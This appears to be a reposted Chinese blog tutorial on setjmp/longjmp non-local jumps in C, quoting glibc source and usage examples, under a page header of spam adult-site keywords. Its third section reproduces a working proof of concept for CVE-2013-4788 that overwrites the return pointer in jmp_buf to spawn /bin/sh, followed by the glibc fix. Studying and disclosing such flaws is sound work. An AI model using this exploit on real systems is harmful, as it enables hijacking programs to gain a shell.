日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > linux >内容正文

linux

setjmp()、longjmp() Linux Exception Handling/Error Handling、no-local goto

發(fā)布時間:2025/7/14 linux 52 豆豆
生活随笔 收集整理的這篇文章主要介紹了 setjmp()、longjmp() Linux Exception Handling/Error Handling、no-local goto 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

目錄

1. 應用場景 2. Use Case Code Analysis 3. 和setjmp、longjmp有關(guān)的glibc and eglibc 2.5, 2.7, 2.13 - Buffer Overflow Vulnerability

?

1. 應用場景

非局部跳轉(zhuǎn)通常被用于實現(xiàn)將程序控制流轉(zhuǎn)移到錯誤處理模塊中;或者是通過這種非正常的函數(shù)返回機制,返回到之前調(diào)用的函數(shù)中

1. setjmp、longjmp的典型用途是異常處理機制的實現(xiàn):利用longjmp恢復程序或線程的狀態(tài),甚至可以跳過棧中多層的函數(shù)調(diào)用2. 在信號處理機制中,進程在檢查收到的信號,會從原來的系統(tǒng)調(diào)用中直接返回,而不是等到該調(diào)用完成。這種進程突然改變其上下文的情況,就是通過使用setjmp和longjmp來實現(xiàn)的。setjmp將保存的上下文載入用戶空間,并繼續(xù)在舊的上下文中繼續(xù)執(zhí)行。這就是說,進程執(zhí)行一個系統(tǒng)調(diào)用,當因為資源或其他原因要去睡眠時,內(nèi)核為進程作了一次setjmp,如果在睡眠中被信號喚醒,進程不能再進入睡眠時,內(nèi)核為進程調(diào)用longjmp,該操作是內(nèi)核為進程將現(xiàn)在的上下文切換成原先通過setjmp調(diào)用保存在進程用戶區(qū)的上下文,這樣就使得進程可以恢復等待資源前的狀態(tài),而且內(nèi)核為setjmp返回1,使得進程知道該次系統(tǒng)調(diào)用失敗 3. Linux的Kprobe機制使用setjmp、longjmp設(shè)置中斷處理函數(shù)及回調(diào)函數(shù)4. C語言中有一個goto語句,其可以結(jié)合標號實現(xiàn)函數(shù)內(nèi)部的任意跳轉(zhuǎn)(但是在大多數(shù)情況下,都建議不要使用goto語句,因為采用goto語句后,代碼維護工作量加大,而且使得代碼的結(jié)構(gòu)性變得很差)。另外,C語言標準中還提供一種非局部跳轉(zhuǎn)"no-local goto",其通過標準庫<setjmp.h>中的兩個標準函數(shù)setjmp和longjmp來實現(xiàn)

0x1: 非局部跳轉(zhuǎn)(no-local goto)實現(xiàn)原理

C語言的運行控制模型,是一個基于"棧結(jié)構(gòu)"的"指令執(zhí)行序列",表現(xiàn)出來就是call/return: call調(diào)用一個函數(shù),然后return從一個函數(shù)返回。在這種運行控制模型中,每個函數(shù)調(diào)用都會對應著一個棧幀,其中保存了這個函數(shù)的參數(shù)、返回值地址、局部變量以及控制信息(從高地址向低地址生長)等內(nèi)容。當調(diào)用一個函數(shù)時,系統(tǒng)會創(chuàng)建一個對應的棧幀壓入棧中,而從一個函數(shù)返回時,則系統(tǒng)會將該函數(shù)對應的棧幀從棧頂退出。正常的函數(shù)跳轉(zhuǎn)就是這樣從棧頂一個一個棧幀逐級地返回

另外,系統(tǒng)內(nèi)部有一些寄存器記錄著當前系統(tǒng)的狀態(tài)信息,其中包括當前棧頂位置、位于棧頂?shù)臈恢靡约捌渌恍┫到y(tǒng)信息(例如代碼段,數(shù)據(jù)段等等)。這些寄存器指示了當前程序運行點的系統(tǒng)狀態(tài),可以稱為程序點
在宏函數(shù)setjmp中就是將這些系統(tǒng)寄存器的內(nèi)容保存到j(luò)mp_buf類型變量env中,然后在函數(shù)longjmp中將函數(shù)setjmp保存在變量env中的系統(tǒng)狀態(tài)信息恢復,此時系統(tǒng)寄存器中指示的棧頂?shù)臈褪钦{(diào)用宏函數(shù)setjmp時的棧頂?shù)臈?這相當于直接強制修改棧幀的狀態(tài)來改變程序流的目的)。于是,相當控制流跳過了中間的若干個函數(shù)調(diào)用對應的棧幀,到達setjmp所在那個函數(shù)的棧幀
這就是非局部跳轉(zhuǎn)的實現(xiàn)機制,其不同于上面所說的call/return跳轉(zhuǎn)機制

正是因為這種實現(xiàn)機制,需要特別注意的是:"包含setjmp()宏調(diào)用的函數(shù)一定不能終止"。如果該函數(shù)終止的話,該函數(shù)對應的棧幀也已經(jīng)從系統(tǒng)棧中退出,于是setjmp()宏調(diào)用保存在env中的內(nèi)容在longjmp函數(shù)恢復時,就不再是setjmp()宏調(diào)用所在程序點。此時,調(diào)用函數(shù)longjmp()就會出現(xiàn)不可預測的錯誤

Relevant Link:

http://www.cnblogs.com/lienhua34/archive/2012/04/22/2464859.html https://msdn.microsoft.com/zh-cn/library/yz2ez4as.aspx

?

2. Use Case Code Analysis

1. 非局部跳轉(zhuǎn)setjmp() 頭文件<setjmp.h>中的說明提供了一種避免通常的函數(shù)調(diào)用和返回順序的途徑,特別的,它允許立即從一個多層嵌套的函數(shù)調(diào)用中返回 /* #include <setjmp.h> int setjmp(jmp_buf env); */1) setjmp()宏把當前狀態(tài)信息保存到env中,供以后longjmp()恢復狀態(tài)信息時使用1.1) 如果是直接調(diào)用setjmp(),那么返回值為01.2) 如果是由于調(diào)用longjmp()而調(diào)用setjmp(),那么返回值非02) setjmp()只能在某些特定情況下調(diào)用,如在if語句、switch語句及循環(huán)語句的條件測試部分以及一些簡單的關(guān)系表達式中2. 非局部跳轉(zhuǎn)longjmp()1) longjmp()用于恢復由最近一次調(diào)用setjmp()時保存到env的狀態(tài)信息。當它執(zhí)行完時,程序就象setjmp()剛剛執(zhí)行完并返回非0值val那樣繼續(xù)執(zhí)行2) 值得注意的是,包含setjmp()宏調(diào)用的函數(shù)一定不能已經(jīng)終止。如果setjmp所在的函數(shù)已經(jīng)調(diào)用返回了,那么longjmp使用該處setjmp所填寫的對應jmp_buf緩沖區(qū)將不再有效。這是因為longjmp所要返回的"棧幀"(stack frame)已經(jīng)不再存在了,程序返回到一個不再存在的執(zhí)行點,很可能覆蓋或者弄壞程序棧3) 所有可訪問的對象的值都與調(diào)用longjmp()時相同,唯一的例外是,那些調(diào)用setjmp()宏的函數(shù)中的非volatile自動變量如果在調(diào)用setjmp()后有了改變,那么就變成未定義的 /* #include <setjmp.h> void longjmp(jmp_buf env, int val); */

0x1: jmp_buf

jmp_buf是setjmp.h中定義的一個結(jié)構(gòu)類型,其用于保存系統(tǒng)狀態(tài)信息。宏函數(shù)setjmp會將其所在的程序點的系統(tǒng)狀態(tài)信息保存到某個jmp_buf的結(jié)構(gòu)變量env中,而調(diào)用函數(shù)longjmp會將宏函數(shù)setjmp保存在變量env中的系統(tǒng)狀態(tài)信息進行恢復,于是系統(tǒng)就會跳轉(zhuǎn)到setjmp()宏調(diào)用所在的程序點繼續(xù)進行。這樣setjmp/longjmp就實現(xiàn)了非局部跳轉(zhuǎn)的功能

\glibc-2.18\setjmp\setjmp.h

/* Calling environment, plus possibly a saved signal mask. */ struct __jmp_buf_tag {/* NOTE: The machine-dependent definitions of `__sigsetjmp' assume that a `jmp_buf' begins with a `__jmp_buf' and that `__mask_was_saved' follows it. Do not move these members or add others before it. */__jmp_buf __jmpbuf; /* Calling environment. */int __mask_was_saved; /* Saved the signal mask */__sigset_t __saved_mask; /* Saved signal mask. */ };__BEGIN_NAMESPACE_STDtypedef struct __jmp_buf_tag jmp_buf[1];

將jmp_buf定義為一個數(shù)組,那么可以將數(shù)據(jù)分配在棧上,但是作為參數(shù)傳遞的時候傳的是一個指針

0x2: setjmp

創(chuàng)建本地的jmp_buf緩沖區(qū)并且初始化,用于將來跳轉(zhuǎn)回此處。這個子程序(setjmp)保存程序的調(diào)用環(huán)境于env參數(shù)所指的緩沖區(qū),env將被longjmp使用。如果是從setjmp直接調(diào)用返回

\glibc-2.18\ports\sysdeps\aarch64\setjmp.S

/* Keep traditional entry points in with sigsetjmp(). */ ENTRY (setjmp)mov x1, #1b 1f END (setjmp)ENTRY (_setjmp)mov x1, #0b 1f END (_setjmp) libc_hidden_def (_setjmp)ENTRY (__sigsetjmp)1:stp x19, x20, [x0, #JB_X19<<3]stp x21, x22, [x0, #JB_X21<<3]stp x23, x24, [x0, #JB_X23<<3]stp x25, x26, [x0, #JB_X25<<3]stp x27, x28, [x0, #JB_X27<<3]stp x29, x30, [x0, #JB_X29<<3]stp d8, d9, [x0, #JB_D8<<3]stp d10, d11, [x0, #JB_D10<<3]stp d12, d13, [x0, #JB_D12<<3]stp d14, d15, [x0, #JB_D14<<3]mov x2, spstr x2, [x0, #JB_SP<<3] #if defined NOT_IN_libc && defined IS_IN_rtld/* In ld.so we never save the signal mask */mov w0, #0RET #elseb C_SYMBOL_NAME(__sigjmp_save) #endif END (__sigsetjmp) hidden_def (__sigsetjmp)

code

/* setjmp example: error handling */ #include <stdio.h> /* printf, scanf */ #include <stdlib.h> /* exit */ #include <setjmp.h> /* jmp_buf, setjmp, longjmp */main() {jmp_buf env;int val;/*setjmp會多次返回setjmp return value1. 正常調(diào)用(保存當前call的env): 返回02. 調(diào)用longjmp返回: 取決于longjmp的第二個參數(shù)1) longjmp的第二個參數(shù)為非0: setjmp返回同樣的值2) longjmp的第二個參數(shù)為0: setjmp返回1*/val = setjmp (env);if (val) {fprintf (stderr,"Error %d happened\n",val);exit (val);}printf("Calling function.\n"); longjmp (env,101); /* signaling an error */return 0; }

0x3: longjmp

恢復env所指的緩沖區(qū)中的程序調(diào)用環(huán)境上下文,env所指緩沖區(qū)的內(nèi)容是由setjmp子程序調(diào)用所保存。value的值從longjmp傳遞給setjmp。longjmp完成后,程序從對應的setjmp調(diào)用處繼續(xù)執(zhí)行,如同setjmp調(diào)用剛剛完成

\glibc-2.18\sysdeps\x86_64\__longjmp.S

/* Jump to the position specified by ENV, causing the setjmp call there to return VAL, or 1 if VAL is 0. void __longjmp (__jmp_buf env, int val). */ .text ENTRY(__longjmp)/* Restore registers. */mov (JB_RSP*8)(%rdi),%R8_LPmov (JB_RBP*8)(%rdi),%R9_LPmov (JB_PC*8)(%rdi),%RDX_LP #ifdef PTR_DEMANGLEPTR_DEMANGLE (%R8_LP)PTR_DEMANGLE (%R9_LP)PTR_DEMANGLE (%RDX_LP) # ifdef __ILP32__/* We ignored the high bits of the %rbp value because only the lowbits are mangled. But we cannot presume that %rbp is being usedas a pointer and truncate it, so recover the high bits. */movl (JB_RBP*8 + 4)(%rdi), %eaxshlq $32, %raxorq %rax, %r9 # endif #endifLIBC_PROBE (longjmp, 3, LP_SIZE@%RDI_LP, -4@%esi, LP_SIZE@%RDX_LP)/* We add unwind information for the target here. */cfi_def_cfa(%rdi, 0)cfi_register(%rsp,%r8)cfi_register(%rbp,%r9)cfi_register(%rip,%rdx)cfi_offset(%rbx,JB_RBX*8)cfi_offset(%r12,JB_R12*8)cfi_offset(%r13,JB_R13*8)cfi_offset(%r14,JB_R14*8)cfi_offset(%r15,JB_R15*8)movq (JB_RBX*8)(%rdi),%rbxmovq (JB_R12*8)(%rdi),%r12movq (JB_R13*8)(%rdi),%r13movq (JB_R14*8)(%rdi),%r14movq (JB_R15*8)(%rdi),%r15/* Set return value for setjmp. */mov %esi, %eaxmov %R8_LP,%RSP_LPmovq %r9,%rbpLIBC_PROBE (longjmp_target, 3,LP_SIZE@%RDI_LP, -4@%eax, LP_SIZE@%RDX_LP)jmpq *%rdx END (__longjmp)

code

/* longjmp example */ #include <stdio.h> /* printf */ #include <setjmp.h> /* jmp_buf, setjmp, longjmp */main() {jmp_buf env;int val;val=setjmp(env);printf ("val is %d\n",val);if (!val) longjmp(env, 1);return 0; }

Relevant Link:

http://my.oschina.net/onethin/blog/27793 https://www-s.acm.illinois.edu/webmonkeys/book/c_guide/2.8.html http://www.cplusplus.com/reference/csetjmp/setjmp/ http://www.cplusplus.com/reference/csetjmp/longjmp/ http://zh.wikipedia.org/wiki/Setjmp.h http://nativeclient.googlecode.com/svn-history/r157/trunk/nacl/googleclient/native_client/scons-out/doc/html/setjmp_8h-source.html http://www.cnblogs.com/hazir/p/c_setjmp_longjmp.html

?

3. 和setjmp、longjmp有關(guān)的glibc and eglibc 2.5, 2.7, 2.13 - Buffer Overflow Vulnerability

0x1: poc

CVE(CAN) ID: CVE-2013-4788
glibc是絕大多數(shù)Linux操作系統(tǒng)中C庫的實現(xiàn)。
glibc 2.4 -2.17版本存在緩沖區(qū)溢出漏洞,攻擊者可利用此漏洞在受影響應用上下文中執(zhí)行任意代碼

/** $FILE: bug-mangle.c** Comment: Proof of concept for glibc versions <= 2.17** $VERSION$** Author: Hector Marco <hecmargi@upv.es>* Ismael Ripoll <iripoll@disca.upv.es>** $LICENSE: * This program is free software; you can redistribute it and/or modify* it under the terms of the GNU General Public License as published by* the Free Software Foundation; either version 2 of the License, or* (at your option) any later version.** This program is distributed in the hope that it will be useful,* but WITHOUT ANY WARRANTY; without even the implied warranty of* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the* GNU General Public License for more details.** You should have received a copy of the GNU General Public License* along with this program; if not, write to the Free Software* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.*/#include <stdio.h> #include <setjmp.h> #include <stdint.h> #include <limits.h>#ifdef __i386__#define ROTATE 0x9#define PC_ENV_OFFSET 0x14 #elif __x86_64__#define ROTATE 0x11#define PC_ENV_OFFSET 0x38 #elif __arm__#define ROTATE 0x0#define PC_ENV_OFFSET 0x24 #else#error The exploit does not support this architecture #endifunsigned long rol(uintptr_t value) {// return (value << ROTATE) | (value >> (__WORDSIZE - ROTATE));unsigned long ret;asm volatile("xor %%fs:0x30, %0; rol $0x11, %0" : "=g"(ret) : "0"(value));return ret; }int hacked() {printf("[+] hacked !!\n");system("/bin/sh"); }int main(void) {//jmp_buf用于保存恢復調(diào)用環(huán)境所需的信息 jmp_buf env;uintptr_t *ptr_ret_env = (uintptr_t*) (((uintptr_t) env) + PC_ENV_OFFSET);printf("[+] Exploiting ...\n");if(setjmp(env) == 1){printf("[-] Exploit failed.\n");return 0;}/*Overwrite env return address */*ptr_ret_env = rol((uintptr_t)hacked);longjmp(env, 1);printf("[-] Exploit failed.\n");return 0; }

簡單來說,就是通過覆蓋jmp_buf中和返回地址有關(guān)的指針,來達到劫持CPU控制流的目的

0x2: pathc

diff -rupN glibc-2.17/csu/libc-start.c glibc-2.17-mangle-fix/csu/libc-start.c --- glibc-2.17/csu/libc-start.c 2012-12-25 04:02:13.000000000 +0100 +++ glibc-2.17-mangle-fix/csu/libc-start.c 2013-07-10 00:13:48.000000000 +0200 @@ -38,6 +38,12 @@ extern void __pthread_initialize_minimalin thread local area. */uintptr_t __stack_chk_guard attribute_relro;# endif + +# ifndef THREAD_SET_POINTER_GUARD +uintptr_t __pointer_chk_guard_local + attribute_relro attribute_hidden __attribute__ ((nocommon)); +# endif +#endif#ifdef HAVE_PTR_NTHREADS @@ -184,6 +190,14 @@ LIBC_START_MAIN (int (*main) (int, char# else__stack_chk_guard = stack_chk_guard;# endif + uintptr_t pointer_chk_guard = _dl_setup_pointer_guard (_dl_random, + stack_chk_guard); +# ifdef THREAD_SET_POINTER_GUARD + THREAD_SET_POINTER_GUARD (pointer_chk_guard); +# else + __pointer_chk_guard_local = pointer_chk_guard; +# endif +#endif/* Register the destructor of the dynamic linker if there is any. */

Relevant Link:

http://www.mra.net.cn/thread-17257-1-1.html http://hmarco.org/bugs/patches/ptr_mangle-eglibc-2.17.patch http://downloads.securityfocus.com/vulnerabilities/exploits/61183.c http://sebug.net/vuldb/ssvid-82213

?

Copyright (c) 2014 LittleHann All rights reserved

?

轉(zhuǎn)載于:https://www.cnblogs.com/LittleHann/p/4339745.html

總結(jié)

以上是生活随笔為你收集整理的setjmp()、longjmp() Linux Exception Handling/Error Handling、no-local goto的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。